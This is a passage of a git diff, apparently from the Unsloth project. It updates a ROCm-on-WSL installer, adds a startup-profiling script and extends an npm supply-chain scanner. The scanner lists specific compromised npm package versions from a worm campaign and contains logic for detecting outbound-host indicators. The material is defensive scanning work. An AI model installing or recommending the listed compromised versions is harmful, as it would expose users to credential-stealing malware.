SMOKE_TEST="${UNSLOTH_WSL_SMOKE_TEST:-0}" @@ -216,16 +219,16 @@ fi echo "${ROCM_DIR}/lib" | $SUDO tee /etc/ld.so.conf.d/rocm.conf >/dev/null $SUDO ldconfig -# ── Step 4: persist environment (system-wide so Studio's worker inherits it) ── +# ── Step 4: persist environment (system-wide so Unsloth's worker inherits it) ── say "Persisting ROCm-on-WSL environment" _envfile="/etc/profile.d/unsloth-rocm-wsl.sh" $SUDO tee "$_envfile" >/dev/null <>> Unsloth ROCm-on-WSL (gfx1151) >>> +# >>> Unsloth ROCm-on-WSL >>> export HSA_ENABLE_DXG_DETECTION=1 export TORCH_ROCM_AOTRITON_ENABLE_EXPERIMENTAL=1 export PATH="${ROCM_DIR}/bin:\${PATH}" export LD_LIBRARY_PATH="${ROCM_DIR}/lib:\${LD_LIBRARY_PATH:-}" -# <<< Unsloth ROCm-on-WSL (gfx1151) <<< +# <<< Unsloth ROCm-on-WSL <<< EOF # also drop into ~/.bashrc for interactive shells if [ -n "${HOME:-}" ] && ! grep -q "Unsloth ROCm-on-WSL" "${HOME}/.bashrc" 2>/dev/null; then @@ -237,32 +240,50 @@ export PATH="${ROCM_DIR}/bin:${PATH}" export LD_LIBRARY_PATH="${ROCM_DIR}/lib:${LD_LIBRARY_PATH:-}" # ── Step 5: verify the runtime enumerates the GPU ──────────────────────────── -say "Verifying rocminfo sees ${GFX}" +say "Verifying rocminfo enumerates the GPU over DXG" # Capture rocminfo into a var BEFORE grepping: piping into `grep -q` SIGPIPEs # rocminfo on first match, which under `set -o pipefail` turns a successful match -# into a pipeline failure. Match the gfx1151 ISA "Name:" agent exactly (not a -# broad gfx1[0-9]) so a generic fallback ISA or unrelated RDNA GPU can't pass. +# into a pipeline failure. _rocminfo_out="$(rocminfo 2>/dev/null || true)" -if ! printf '%s\n' "$_rocminfo_out" | grep -qE "Name:[[:space:]]*${GFX}([^0-9]|$)"; then +# GPU agents advertise an ISA "Name: gfxNNNN". Match gfx[1-9] (excludes gfx000, the CPU +# agent), drop the "gfx*-generic" fallback ISA, and take the first real GPU arch. +_detected_gfx="$(printf '%s\n' "$_rocminfo_out" | grep -E 'Name:[[:space:]]*gfx[1-9]' | grep -v 'generic' | grep -oE 'gfx[1-9][0-9a-z]*' | head -1 || true)" +if [ -z "$_detected_gfx" ]; then printf '%s\n' "$_rocminfo_out" | head -25 >&2 || true - die "rocminfo did not enumerate a ${GFX} GPU agent. Most common cause: the Windows AMD driver predates production ROCDXG -- update Adrenalin (install.ps1 offers this), reboot, and re-run." + die "rocminfo did not enumerate any GPU agent. Most common cause: the Windows AMD driver predates production ROCDXG -- update Adrenalin (install.ps1 offers this), reboot, and re-run." fi +# Honour a caller-pinned arch (sanity-check via a consuming grep, not grep -q: under +# pipefail -q would SIGPIPE printf on large output and misreport the arch); else adopt. +if [ -n "$GFX" ] && ! printf '%s\n' "$_rocminfo_out" | grep -E "Name:[[:space:]]*${GFX}([^0-9]|$)" >/dev/null; then + die "rocminfo enumerated '${_detected_gfx}' but not the requested UNSLOTH_WSL_GFX='${GFX}'." +fi +GFX="${GFX:-$_detected_gfx}" # Display-only summary: best-effort (|| true) so head's early pipe-close under # `set -o pipefail` can't fail the bootstrap after verification already passed. printf '%s\n' "$_rocminfo_out" | grep -E 'Marketing Name|Device Type|Compute Unit' | grep -iE "Radeon|GPU|Compute" | head -3 || true note "ROCm-on-WSL runtime is live for ${GFX}." -# ── Step 6 (optional): torch smoke test from the gfx1151 index ─────────────── +# ── Step 6 (optional): torch smoke test from AMD's per-arch wheel index ─────── if [ "$SMOKE_TEST" = "1" ]; then say "Smoke-testing PyTorch on ${GFX} (throwaway venv)" + # Map the detected arch to AMD's repo.amd.com wheel family index. + case "$GFX" in + gfx1200|gfx1201) _fam="gfx120X-all" ;; + gfx1100|gfx1101|gfx1102|gfx1103) _fam="gfx110X-all" ;; + *) _fam="$GFX" ;; # gfx1150/gfx1151/gfx90a: own index + esac + TORCH_INDEX="${UNSLOTH_AMD_ROCM_MIRROR:-https://repo.amd.com/rocm/whl}/${_fam}/" _venv="${HOME}/.unsloth/rocm-smoketest" rm -rf "$_venv"; python3 -m venv "$_venv" "$_venv/bin/pip" install --quiet --upgrade pip - # gfx1151 index is primary (torch + triton); PyPI only an extra for pure-py + # AMD arch index is primary (torch + triton); PyPI only an extra for pure-py # deps. The constraint keeps pip on the ROCm wheel, not a newer PyPI CUDA torch. "$_venv/bin/pip" install --index-url "$TORCH_INDEX" \ --extra-index-url https://pypi.org/simple "$TORCH_CONSTRAINT" || \ die "torch install from ${TORCH_INDEX} failed." + # WSL: torch's bundled ROCr must load the DXG bridge -- drop librocdxg into torch/lib. + _tlib="$("$_venv/bin/python" -c 'import torch,os;print(os.path.join(os.path.dirname(torch.__file__),"lib"))' 2>/dev/null || true)" + [ -d "$_tlib" ] && cp -f "${ROCM_DIR}"/lib/librocdxg.so* "$_tlib"/ 2>/dev/null || true "$_venv/bin/python" - <<'PY' import torch ok = torch.cuda.is_available() diff --git a/scripts/lint_workflow_triggers.py b/scripts/lint_workflow_triggers.py index 0688f6c65c..8f22fcaf45 100644 --- a/scripts/lint_workflow_triggers.py +++ b/scripts/lint_workflow_triggers.py @@ -52,14 +52,14 @@ def _normalise_on(on_field): def _load_workflow(path: Path): try: - return yaml.safe_load(path.read_text()) + return yaml.safe_load(path.read_text(encoding = "utf-8")) except Exception as exc: print(f"ERROR: failed to parse {path}: {exc}", file = sys.stderr) sys.exit(2) def _extract_cache_keys(path: Path) -> list[str]: - text = path.read_text() + text = path.read_text(encoding = "utf-8") keys: list[str] = [] for m in re.finditer(r"(?:^|\n)\s*key:\s*([^\n]+)", text): keys.append(m.group(1).strip()) @@ -104,7 +104,7 @@ def main() -> int: for t in RESTRICTED_TRIGGERS: if t in triggers: - text = path.read_text() + text = path.read_text(encoding = "utf-8") if "lint:workflow_triggers-allow-workflow_run" not in text: findings.append( f"{path.name}: RESTRICTED trigger '{t}' requires an " diff --git a/scripts/lockfile_supply_chain_audit.py b/scripts/lockfile_supply_chain_audit.py index 66b48c094d..f9cf726dc1 100644 --- a/scripts/lockfile_supply_chain_audit.py +++ b/scripts/lockfile_supply_chain_audit.py @@ -2,7 +2,7 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. -"""Lockfile supply-chain audit for the Studio frontend and Tauri shell. +"""Lockfile supply-chain audit for the Unsloth frontend and Tauri shell. Runs BEFORE `npm ci` / `cargo fetch` in CI. Refuses to proceed when a lockfile contains patterns indicating supply-chain injection (npm @@ -294,7 +294,7 @@ CARGO_REGISTRY_SOURCE = "registry+https://github.com/rust-lang/crates.io-index" # Cargo non-registry source allowlist: `(crate_name, exact_source_string)`. # Both must match verbatim; bumping the pinned SHA forces a re-review. -# Studio's Tauri shell pulls `fix-path-env` from git because it is not +# Unsloth's Tauri shell pulls `fix-path-env` from git because it is not # published to crates.io; commit c4c45d5 was reviewed when it landed. CARGO_SOURCE_ALLOWLIST: tuple[tuple[str, str], ...] = ( ( diff --git a/scripts/notebook_validator.py b/scripts/notebook_validator.py index c1be7a63a4..7bcee47c66 100644 --- a/scripts/notebook_validator.py +++ b/scripts/notebook_validator.py @@ -95,8 +95,8 @@ COLAB_ORACLE_BASE_URL = "https://raw.githubusercontent.com/googlecolab/backend-i # Source: pytorch/torchcodec compatibility matrix on its README. TORCH_TORCHCODEC: dict[str, set[str]] = { "2.10": {"0.10"}, - "2.9": {"0.7", "0.8", "0.9"}, - "2.8": {"0.6"}, + "2.9": {"0.8", "0.9"}, + "2.8": {"0.6", "0.7"}, "2.7": {"0.3", "0.4", "0.5"}, "2.6": {"0.2", "0.3"}, "2.5": {"0.1", "0.2"}, diff --git a/scripts/profile_startup.py b/scripts/profile_startup.py new file mode 100644 index 0000000000..937d007ac1 --- /dev/null +++ b/scripts/profile_startup.py @@ -0,0 +1,377 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Measure where Unsloth Studio's startup time goes, per platform. + +Nothing measured this before: the backend logs "lifespan startup completed in X ms" +but no test or CI job asserted a budget, and studio_test_kit discards the elapsed +time of its /healthz poll. A first local run (Linux, warm cache, fast server CPU) +found `import main` alone costs 6.6s before the server can bind, dominated by eager +module-level imports pulled in by the `routes` package: + + torch 1930 ms self + unsloth_zoo 914 ms self + routes 779 ms self + transformers 524 ms self + +Phases measured: + import `python -X importtime -c "import main"`, top cumulative + per-package self + spawn process start -> first byte on stdout + healthz process start -> /api/health (or /healthz) answers 200 + lifespan the backend's own "lifespan startup completed in X ms" log line + +Usage: + python scripts/profile_startup.py --repeats 3 --json out.json + python scripts/profile_startup.py --import-only # no server, no port needed + +Exit code is 0 unless --max-healthz-seconds is given and exceeded. +""" + +from __future__ import annotations + +import argparse +import json +import math +import os +import platform +import re +import shutil +import socket +import statistics +import subprocess +import sys +import threading +import time +import urllib.error +import urllib.request +from pathlib import Path + +REPO_ROOT = Path(__file__).resolve().parents[1] +BACKEND = REPO_ROOT / "studio" / "backend" + +_IMPORTTIME_RE = re.compile(r"import time:\s+(\d+)\s+\|\s+(\d+)\s+\|(\s*)(\S.*)") + + +def _free_port() -> int: + with socket.socket() as s: + s.bind(("127.0.0.1", 0)) + return int(s.getsockname()[1]) + + +def profile_imports(python: str, top: int = 15) -> dict: + """Cumulative and self import cost for the backend's module graph. + + Run in a subprocess with -X importtime: the numbers are only meaningful for a + cold interpreter, and importing in-process would measure a warm sys.modules. + """ + proc = subprocess.run( + [python, "-X", "importtime", "-c", "import sys; sys.path.insert(0, '.'); import main"], + cwd = BACKEND, + capture_output = True, + text = True, + timeout = 900, + ) + rows = [] + for line in proc.stderr.splitlines(): + m = _IMPORTTIME_RE.match(line) + if m: + rows.append((int(m.group(1)), int(m.group(2)), m.group(4).strip())) + if not rows: + return {"ok": False, "error": (proc.stderr or proc.stdout)[-2000:]} + if proc.returncode != 0: + # Rows survive up to the failure, so any total from a partial graph is wrong. + return { + "ok": False, + "error": (proc.stderr or proc.stdout)[-2000:], + "partial_rows": len(rows), + } + + by_cum = sorted(rows, key = lambda r: -r[1]) + # Total comes from the `main` row, not by_cum[0]: -X importtime also prints the + # interpreter's own startup graph (`site`), which can outrank a trivial main. + main_row = next((r for r in reversed(rows) if r[2] == "main"), None) + if main_row is None: + return { + "ok": False, + "error": "no `import main` row in -X importtime output\n" + + (proc.stderr or proc.stdout)[-2000:], + } + self_by_pkg: dict[str, int] = {} + for self_us, _cum, name in rows: + pkg = name.split(".")[0] + self_by_pkg[pkg] = self_by_pkg.get(pkg, 0) + self_us + + return { + "ok": True, + "total_seconds": round(main_row[1] / 1e6, 3), + "top_cumulative": [ + {"module": n, "seconds": round(c / 1e6, 3)} for _s, c, n in by_cum[:top] + ], + "self_by_package_ms": { + k: round(v / 1000) for k, v in sorted(self_by_pkg.items(), key = lambda x: -x[1])[:top] + }, + } + + +def _terminate_tree(proc: subprocess.Popen) -> None: + """Stop the server AND its children, which on Windows are a separate process. + + CI profiles `Scripts/unsloth.exe`, a distlib launcher stub that CreateProcess's + the venv python and waits, so terminate() reaps the stub only: the real backend + keeps the inherited stdout handle, the reader thread never sees EOF, and + --repeats strands one server per iteration on the shared UNSLOTH_STUDIO_HOME. + taskkill /T walks the tree, as unsloth_cli/commands/start.py already does. + """ + if proc.poll() is not None: + return + if os.name == "nt": + try: + killed = subprocess.run( + ["taskkill", "/PID", str(proc.pid), "/T", "/F"], + capture_output = True, + timeout = 30, + check = False, + ) + if killed.returncode == 0: + return + except Exception: + # taskkill missing or timed out; fall through so the stub still dies. + pass + # check=False: a nonzero taskkill does not raise, so fall through as well. + proc.terminate() + + +def profile_launch( + bin_path: str, + port: int, + timeout_s: int = 300, +) -> dict: + """Spawn the backend the way the desktop app does and time it to first 200.""" + log_lines: list[str] = [] + first_byte: list[float] = [] + t0 = time.perf_counter() + proc = subprocess.Popen( + [bin_path, "studio", "--api-only", "-H", "127.0.0.1", "-p", str(port)], + cwd = REPO_ROOT, + stdout = subprocess.PIPE, + stderr = subprocess.STDOUT, + text = True, + bufsize = 1, + ) + + def _drain() -> None: + # Runs alongside the health polling: the first read timestamps the spawn + # phase, and an undrained pipe blocks the backend before it binds. + for line in proc.stdout: + if not first_byte: + first_byte.append(time.perf_counter() - t0) + log_lines.append(line.rstrip("\n")) + + reader = threading.Thread(target = _drain, daemon = True) + reader.start() + + t_healthz = None + deadline = t0 + timeout_s + try: + while time.perf_counter() < deadline: + if proc.poll() is not None: + break + if t_healthz is None: + for url in ( + f"http://127.0.0.1:{port}/api/health", + f"http://127.0.0.1:{port}/healthz", + ): + try: + with urllib.request.urlopen(url, timeout = 2) as r: + if r.status == 200: + t_healthz = time.perf_counter() - t0 + break + except (urllib.error.URLError, OSError, TimeoutError): + pass + if t_healthz is not None: + break + time.sleep(0.25) + finally: + _terminate_tree(proc) + try: + # Safe: the reader drains the pipe, so the child cannot block on write(). + proc.wait(timeout = 30) + except subprocess.TimeoutExpired: + proc.kill() + proc.wait() + reader.join(timeout = 10) + + t_first_byte = first_byte[0] if first_byte else None + lifespan_ms = None + for line in log_lines: + m = re.search(r"lifespan startup completed in ([\d.]+)ms", line) + if m: + lifespan_ms = float(m.group(1)) + return { + "spawn_seconds": round(t_first_byte, 3) if t_first_byte is not None else None, + "healthz_seconds": round(t_healthz, 3) if t_healthz is not None else None, + "lifespan_ms": lifespan_ms, + "reached_healthz": t_healthz is not None, + "log_tail": log_lines[-25:], + } + + +def python_version_of(python: str) -> str: + """Version of the interpreter that runs the imports, not the one running us. + + --python points at the installed Studio venv while this script runs under the + runner's system python, so platform.python_version() would label it wrong. + """ + if python == sys.executable: + return platform.python_version() + try: + proc = subprocess.run( + [python, "-c", "import platform; print(platform.python_version())"], + capture_output = True, + text = True, + timeout = 60, + ) + if proc.returncode == 0 and proc.stdout.strip(): + return proc.stdout.strip() + except (OSError, subprocess.SubprocessError): + pass + return "unknown" + + +def find_bin() -> str | None: + home = os.environ.get("UNSLOTH_STUDIO_HOME") or str(Path.home() / ".unsloth" / "studio") + names = ["unsloth.exe", "unsloth"] if platform.system() == "Windows" else ["unsloth"] + subdirs = ["unsloth_studio/Scripts", "unsloth_studio/bin", "bin", "Scripts"] + for sd in subdirs: + for n in names: + p = Path(home) / sd / n + if p.exists(): + return str(p) + return shutil.which("unsloth") + + +def main(argv: list[str]) -> int: + ap = argparse.ArgumentParser( + description = __doc__, formatter_class = argparse.RawDescriptionHelpFormatter + ) + ap.add_argument( + "--repeats", + type = int, + default = 1, + help = "launch repeats; the median is reported (imports are measured once)", + ) + ap.add_argument( + "--python", + default = sys.executable, + help = "interpreter used for the import profile (default: this one)", + ) + ap.add_argument("--bin", help = "path to the unsloth CLI (default: autodetect)") + ap.add_argument( + "--import-only", + action = "store_true", + help = "skip the server phases (no install needed beyond the deps)", + ) + ap.add_argument( + "--max-healthz-seconds", + type = float, + help = "fail if the median time to a healthy port exceeds this", + ) + ap.add_argument("--json", help = "write the full report here") + a = ap.parse_args(argv) + # range(0) launches nothing, leaving the budget check with nothing to fail on. + if a.repeats < 1: + ap.error("--repeats must be at least 1") + # Same reason: --import-only never launches anything. + if a.import_only and a.max_healthz_seconds is not None: + ap.error("--max-healthz-seconds cannot be combined with --import-only") + # nan and inf parse fine as floats but `med > budget` is then always False, + # so the gate would report success without ever bounding anything. + if a.max_healthz_seconds is not None and not math.isfinite(a.max_healthz_seconds): + ap.error("--max-healthz-seconds must be a finite number") + + report: dict = { + "platform": platform.system().lower(), + "machine": platform.machine(), + "python": python_version_of(a.python), + "cpu_count": os.cpu_count(), + } + + print("== import graph ==") + report["imports"] = profile_imports(a.python) + imp = report["imports"] + if imp.get("ok"): + print(f" import main: {imp['total_seconds']}s") + for row in imp["top_cumulative"][:8]: + print(f" {row['seconds']:7.3f}s {row['module']}") + print(" self time by package (ms):") + for k, v in list(imp["self_by_package_ms"].items())[:8]: + print(f" {v:8} ms {k}") + else: + print(f" FAILED: {imp.get('error', '')[:400]}") + + if not a.import_only: + bin_path = a.bin or find_bin() + if not bin_path: + print( + "== launch == skipped: no unsloth CLI found " + "(set UNSLOTH_STUDIO_HOME or pass --bin)" + ) + report["launch"] = {"skipped": "no unsloth CLI found"} + else: + print(f"== launch == {bin_path}") + runs = [] + for i in range(a.repeats): + r = profile_launch(bin_path, _free_port()) + runs.append(r) + print( + f" run {i + 1}: healthz={r['healthz_seconds']}s " + f"lifespan={r['lifespan_ms']}ms reached={r['reached_healthz']}" + ) + got = [r["healthz_seconds"] for r in runs if r["healthz_seconds"] is not None] + report["launch"] = { + "runs": runs, + "failed_runs": sum(1 for r in runs if not r["reached_healthz"]), + "healthz_median_seconds": round(statistics.median(got), 3) if got else None, + "healthz_max_seconds": round(max(got), 3) if got else None, + } + if got: + print( + f" median time to healthy port: {report['launch']['healthz_median_seconds']}s" + ) + + if a.json: + Path(a.json).write_text(json.dumps(report, indent = 2), encoding = "utf-8") + print(f"\nwrote {a.json}") + + if a.max_healthz_seconds is not None: + launch = report.get("launch") or {} + med = launch.get("healthz_median_seconds") + failed = launch.get("failed_runs") or 0 + if failed: + # Failed launches fail the budget; dropping them would keep only the fast ones. + print( + f"::error::startup regression: {failed} of {len(launch.get('runs') or [])} " + f"launches never became healthy within the timeout" + ) + return 1 + if med is None: + # Nothing measured: exiting 0 would pass a requested budget without a + # single health request, so fail closed. + print( + "::error::startup regression: no healthz measurement, so the " + f"{a.max_healthz_seconds}s budget was never checked " + f"({launch.get('skipped') or 'launch phase produced no runs'})" + ) + return 1 + elif med > a.max_healthz_seconds: + print( + f"::error::startup regression: {med}s median to a healthy port " + f"exceeds the {a.max_healthz_seconds}s budget" + ) + return 1 + return 0 + + +if __name__ == "__main__": + raise SystemExit(main(sys.argv[1:])) diff --git a/scripts/scan_npm_packages.py b/scripts/scan_npm_packages.py index fe90afa7e6..6c83552727 100644 --- a/scripts/scan_npm_packages.py +++ b/scripts/scan_npm_packages.py @@ -40,8 +40,10 @@ from __future__ import annotations import argparse import atexit import base64 as _b64 # imported only so the IOC string-scan can detect it +import bisect import hashlib import io +import itertools import json import os import re @@ -60,7 +62,7 @@ REPO_ROOT = Path(__file__).resolve().parents[1] # Hard caps (deliberately conservative; npm tarballs in this repo are # all well under these limits, so a packaging spike is noticeable). # ───────────────────────────────────────────────────────────────────── -# Caps calibrated against the real Studio frontend transitive closure: +# Caps calibrated against the real Unsloth frontend transitive closure: # - typescript.js is 9.1 MB (TS compiler bundled into one file) # - mermaid 11.x dist/mermaid.js.map is ~12 MB (sourcemap) # - lightningcss-linux-x64-{gnu,musl}.node is 10 MB @@ -412,7 +414,7 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = { "@uipath/functions-tool": {"1.0.1"}, "@uipath/access-policy-sdk": {"0.3.1"}, "@uipath/platform-tool": {"1.0.1"}, - # Mini Shai-Hulud May-12 wave: @mistralai/* (npm) — separate from PyPI mistralai + # Mini Shai-Hulud May-12 wave: @mistralai/* (npm), separate from PyPI mistralai # (https://www.aikido.dev/blog/mini-shai-hulud-is-back-tanstack-compromised). "@mistralai/mistralai": {"2.2.2", "2.2.3", "2.2.4"}, "@mistralai/mistralai-gcp": {"1.7.1", "1.7.2", "1.7.3"}, @@ -897,25 +899,567 @@ def safe_extract( # ───────────────────────────────────────────────────────────────────── +# How far back to look for an enclosing bracket opener. Symmetric with the +# forward cap so a host that sits deep inside a large options object (its opening +# `{` many properties above) still binds the whole object, not just its own line; +# a too-far start only over-binds (more context, still fail-closed), never less. +_MAX_CONT_LINES = 200 +# Hard cap on how far forward a bracket group is followed to its close, measured +# from the matched line so the tail after the match is always reachable even when +# the opener was found near the backward limit (digest input only, never +# displayed); a realistic config object closes well within it. +_MAX_GROUP_LINES = 200 + +# JS string literal (single / double / template), blanked before counting +# brackets so a bracket inside a string is not mistaken for code. +_RE_JS_STR = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|`(?:[^`\\]|\\.)*`") + + +_RE_BRACKETS = re.compile(r"[()\[\]{}]") +_OPENERS = frozenset("([{") + + +def _bracket_lr(line: str) -> tuple[int, int]: + """Order-aware bracket reduction of one already-string-blanked line: ``(L, R)`` + where ``L`` is the count of closers with no opener earlier on the line (they + need an opener to the LEFT / on a prior line) and ``R`` is the count of openers + with no closer later on the line (they need a closer to the RIGHT / on a later + line). A plain net count (opens minus closes) collapses order and so masks a + trailing opener that follows leading closers on the same line, e.g. + ``}); const opts = {`` nets -1 and hides the ``{`` that opens the host-config + object; tracking the running minimum keeps that opener visible so the group + binds the path/headers that follow. Only bracket characters are walked (pulled + out with one C-level regex pass) so a long minified line stays cheap.""" + depth = 0 + low = 0 + for ch in _RE_BRACKETS.findall(line): + if ch in _OPENERS: + depth += 1 + else: + depth -= 1 + if depth < low: + low = depth + return -low, depth - low + + +def _find_unescaped(line: str, quote: str, start: int) -> int: + """Index of the next ``quote`` at or after ``start`` not escaped by a backslash, + or -1. Skips ``\\x`` pairs so an escaped quote inside the string is ignored.""" + i, n = start, len(line) + while i < n: + if line[i] == "\\": + i += 2 + continue + if line[i] == quote: + return i + i += 1 + return -1 + + +# A `/` is a regex literal (not division) when the previous significant character +# is none (start) or one of these expression-position chars. Used only by the +# multi-line blanked view, and the span is unioned with the single-line view, so +# an over- or under-detection only ever grows the bound span (never shrinks it). +_JS_REGEX_PRECEDERS = frozenset("([{,;:?=&|!+-*/%^~<>") + + +def _blank_js_strings(lines: list[str]) -> list[str]: + """Replace string contents (single, double, multi-line backtick template + literals) AND regex literal bodies with spaces across ``lines``, keeping the + line count and every bracket OUTSIDE a string/regex intact, so bracket counting + never miscounts a ``)`` that lives inside a string -- including a template + literal spanning several lines or a ``/)/`` regex -- which a per-line regex + cannot blank. Escapes are honoured.""" + out: list[str] = [] + in_back = False # inside a multi-line `template` literal + prev_sig = "" # last significant non-space char (for regex-vs-division) + for line in lines: + buf: list[str] = [] + i, n = 0, len(line) + while i < n: + if in_back: + end = _find_unescaped(line, "`", i) + if end == -1: + buf.append(" " * (n - i)) + i = n + else: + buf.append(" " * (end - i + 1)) + i = end + 1 + in_back = False + prev_sig = "`" + continue + ch = line[i] + if ch in " \t": + buf.append(ch) + i += 1 + continue + if ch in "'\"`": + end = _find_unescaped(line, ch, i + 1) + if end == -1: + buf.append(" " * (n - i)) + i = n + if ch == "`": # opens a template literal that runs past this line + in_back = True + else: + buf.append(" " * (end - i + 1)) + i = end + 1 + prev_sig = "v" # a string is a value: a following `/` is division + continue + if ch == "/" and (prev_sig == "" or prev_sig in _JS_REGEX_PRECEDERS): + # Regex literal: blank to the closing unescaped `/` outside a `[...]` + # char class. A regex never spans lines, so no close on the line + # means this `/` is really division. + j, in_class, closed = i + 1, False, False + while j < n: + c = line[j] + if c == "\\": + j += 2 + continue + if c == "[": + in_class = True + elif c == "]": + in_class = False + elif c == "/" and not in_class: + j += 1 + closed = True + break + j += 1 + if closed: + buf.append(" " * (j - i)) + i = j + prev_sig = "v" # a regex is a value + continue + buf.append(ch) + i += 1 + prev_sig = "/" + continue + buf.append(ch) + i += 1 + prev_sig = ch + out.append("".join(buf)) + return out + + +def _index_text(text: str) -> tuple[list[str], list[str], list[str], list[int]]: + """Precompute once per evidence call: raw lines for display, two string-blanked + views for bracket counting (single-line via regex = legacy, and multi-line + aware so a template literal spanning lines is blanked), and newline offsets for + O(log n) offset-to-line mapping. Avoids re-splitting and re-counting the whole + file on every single match (which was O(matches x file size)).""" + lines = text.split("\n") + sl_blanked = [_RE_JS_STR.sub("", ln) for ln in lines] + ml_blanked = _blank_js_strings(lines) + nl = [p for p, ch in enumerate(text) if ch == "\n"] + return lines, sl_blanked, ml_blanked, nl + + +# Cap on formatted matches in one evidence string; beyond it the remaining match +# texts are folded into a single digest so a huge/minified file cannot build a +# multi-megabyte evidence blob while an added/removed match past the cap still +# changes the key. +_MAX_EVIDENCE_MATCHES = 64 + + +def _scan_group(blanked: list[str], idx: int) -> tuple[int, int]: + """(start, end) line indices of the bracket group enclosing line ``idx`` in one + blanked view: scan back to the still-open opener, then forward to its close.""" + # Backward: find the line that opens a bracket still unclosed at the match, + # so a match inside a multi-line object starts from the object opener. Each line + # is reduced to (L, R) and applied in order: first the L closers consume open + # brackets from the running context (a stray closer whose opener is outside the + # window only clamps depth at 0, it never goes negative), then the R openers + # add to it. Tracking order this way (rather than a single net per line) keeps a + # trailing opener visible even when leading closers on the same line net it to + # <= 0, e.g. `}); const opts = {`, which a net count would drop -- letting a + # changed path/headers after such a line ride the unchanged-hostname key. + start = idx + depth = 0 + for j in range(max(0, idx - _MAX_CONT_LINES), idx): + left, right = _bracket_lr(blanked[j]) + if left >= depth: + depth = 0 # everything opened so far in the window has closed + start = idx + else: + depth -= left + if right > 0: + if depth == 0: + start = j # outermost still-open opener begins here + depth += right + + # Forward: extend until the group opened at `start` closes past the match. The + # same order-aware reduction is used (clamping leading closers at 0) so the + # foreign `})` on the opener line does not drive the count negative and stop the + # scan before the real close. The cap is measured from the match (`idx`), not + # from `start`, so an opener found near the backward limit does not eat the + # whole forward budget and drop the path/headers/body that follow the match. + depth = 0 + end = start + for j in range(start, min(len(blanked), idx + _MAX_GROUP_LINES)): + left, right = _bracket_lr(blanked[j]) + depth = max(0, depth - left) + right + end = j + if j >= idx and depth <= 0: + break + return start, end + + +def _canon_preserve_strings(text: str) -> str: + """Whitespace canon that collapses runs OUTSIDE string literals to a single + space (so a reindent or spacing change between tokens stays stable) while + preserving whitespace INSIDE single/double/backtick string literals (so a + changed payload body, e.g. ``'a b'`` -> ``'a b'``, reopens). A plain + ``" ".join(text.split())`` erases both, suppressing an intra-literal payload + edit along with harmless indentation. Leading/trailing outside whitespace is + dropped; escapes inside strings are honoured. Used for the evidence hash and + the logical-line digests so the two stay consistent.""" + out: list[str] = [] + i, n = 0, len(text) + quote: str | None = None + pending_space = False + while i < n: + ch = text[i] + if quote is not None: + out.append(ch) + if ch == "\\" and i + 1 < n: + out.append(text[i + 1]) + i += 2 + continue + if ch == quote: + quote = None + i += 1 + continue + if ch.isspace(): + pending_space = True + i += 1 + continue + if pending_space and out: + out.append(" ") + pending_space = False + out.append(ch) + if ch in "'\"`": + quote = ch + i += 1 + return "".join(out) + + +def _logical_line_text( + lines: list[str], sl_blanked: list[str], ml_blanked: list[str], idx: int +) -> str: + """The matched line plus the bracket group it belongs to (the enclosing + multi-line object/call, so a changed ``path``/``headers``/body on another line + binds). Returns the UNION of the groups found in the single-line-blanked view + (legacy: a payload embedded inside a template still counts so its brackets bind + the call) and the multi-line-blanked view (a bracket inside a template literal + spanning lines no longer closes the group early). Unioning never shrinks the + span below either view, so neither blanking strategy can drop a line a + malicious change relies on.""" + s1, e1 = _scan_group(sl_blanked, idx) + s2, e2 = _scan_group(ml_blanked, idx) + start, end = min(s1, s2), max(e1, e2) + return " ".join(lines[start : end + 1]) + + +def _format_match( + text: str, + lines: list[str], + sl_blanked: list[str], + ml_blanked: list[str], + nl: list[int], + m: re.Match, + max_chars: int, +) -> str: + # The shown snippet is a small window around the match; append a digest of the + # full LOGICAL line (the matched line plus its bracket-continuation lines) + # whenever the snippet does not already show all of it, so a changed payload + # tail, a truncated body, or a multi-line option/header reopens. Offsets are + # mapped to line numbers via bisect over precomputed newline positions, so this + # is O(log n) instead of rescanning the file prefix for every match. + idx = bisect.bisect_left(nl, m.start()) # 0-based line index of the match + line_start = nl[idx - 1] + 1 if idx > 0 else 0 + ke = bisect.bisect_left(nl, m.end()) + line_end = nl[ke] if ke < len(nl) else len(text) + full_logical = _logical_line_text(lines, sl_blanked, ml_blanked, idx) + start = max(line_start, m.start() - 30) + end = min(line_end, m.end() + 30) + snippet = text[start:end].replace("\n", " ") + if len(snippet) > max_chars: + snippet = snippet[:max_chars] + "..." + if snippet != full_logical: + # Normalize before digesting, matching _evidence_hash, so a formatter-only + # reindent of the bound continuation lines does not reopen -- but preserve + # whitespace inside string literals so a changed request/payload body does. + canon = _canon_preserve_strings(full_logical) + digest = hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest() + snippet = f"{snippet} sha256:{digest}" + return snippet + + +def _stream_overflow_digest( + matches, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int] +) -> tuple[int, str]: + """A single digest binding the LOGICAL line (the bound bracket-group context, + not just the regex match text) of every overflow match in the iterable, plus + the count of matches folded. Streams the matches (any iterable of re.Match) so a + huge overflow never materializes a list. Whitespace-normalized to match + _evidence_hash so a reindent does not reopen.""" + h = hashlib.sha256() + count = 0 + for m in matches: + _fold_overflow_match(h, m, lines, sl_blanked, ml_blanked, nl) + count += 1 + return count, h.hexdigest() + + +def _fold_overflow_match( + h, m: re.Match, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int] +) -> None: + """Fold one overflow match's whitespace-normalized logical-line context into the + running hash ``h``. Shared by _stream_overflow_digest and the inline overflow + fold in _outbound_host_evidence so both produce the identical digest.""" + idx = bisect.bisect_left(nl, m.start()) + ll = _logical_line_text(lines, sl_blanked, ml_blanked, idx) + h.update(b"\x00") + h.update(_canon_preserve_strings(ll).encode("utf-8", "replace")) + + def _evidence( text: str, pat: re.Pattern, max_chars: int = 200, ) -> str: - m = pat.search(text) - if not m: + # Record every match (not a truncated sample) so an extra match appended to an + # already-flagged file changes the evidence instead of riding the first few. + # Past _MAX_EVIDENCE_MATCHES the remaining matches are folded into one digest + # (binding their logical-line context) so the evidence string stays bounded + # while a changed payload past the cap still reopens. The matches are streamed + # from finditer rather than materialized into a list: a generated file can + # repeat a cheap 